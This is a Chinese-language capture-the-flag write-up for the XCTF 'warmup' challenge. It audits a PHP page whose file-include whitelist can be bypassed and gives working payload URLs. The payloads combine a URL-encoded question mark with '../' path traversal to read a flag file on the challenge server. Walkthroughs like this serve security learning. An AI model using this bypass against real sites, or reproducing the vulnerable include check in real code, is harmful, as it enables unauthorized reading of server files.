zoukankan      html  css  js  c++  java
  • XCTF:warmup(文件包含)

    XCTF题目:warmup

    首先F12发现有一个source.php文件,访问以后进行代码审计:

     <?php
        highlight_file(__FILE__);//代码高亮
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {  //isset():检查参数是否被设置且不能为NULL
                    echo "you can't see it";               
                    return false;
                }
    
                if (in_array($page, $whitelist)) {//在$page中是否有白名单列表的值
                    return true;
                }
    
                $_page = mb_substr(//字符串截断
                    $page,
                    0,
                    mb_strpos($page . '?', '?')//mb_strpos():查找String(参数2)在String(参数1)首次出现的位置。return:有的话返回int|没有返回false。
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page);//url解码
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {//传递的file不能为空,只能为字符串,且满足checkFile函数
            include $_REQUEST['file'];//文件包含
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?> 

    随意输入参数一个得到

    通过代码审计得到想要执行文件包含的话要绕过in_array()函数

    这里从url解码函数入手:代码中通过mb_substr()  是去过滤问号,那么我们采用url编码去输入问号构造:

    http://220.249.52.133:42931/source.php?file=source.php%3F/../ffffllllaaaagggg

    查找发现没有flag文件,尝试其他目录后发现flag

    http://220.249.52.133:42931/source.php?file=source.php%3F../../../../../ffffllllaaaagggg
     
  • 相关阅读:
    洪小瑶学iOS-UINavigationController
    flash模拟苹果菜单原理
    洪小瑶学iOS-NSNotificationCenter 详解
    关于体感互动Airkinect研究《案例篇1》
    AS3 兩點求距離
    右鍵點擊Right Click (Flash Player 11.2 新功能)
    像素级碰撞检测研究
    关于体感互动kinect研究《基础篇》
    部署Pentaho BI服务器到独立Tomcat所碰到的问题总结
    c语言的一个技巧问题
  • 原文地址:https://www.cnblogs.com/luocodes/p/13824980.html
Copyright © 2011-2022 走看看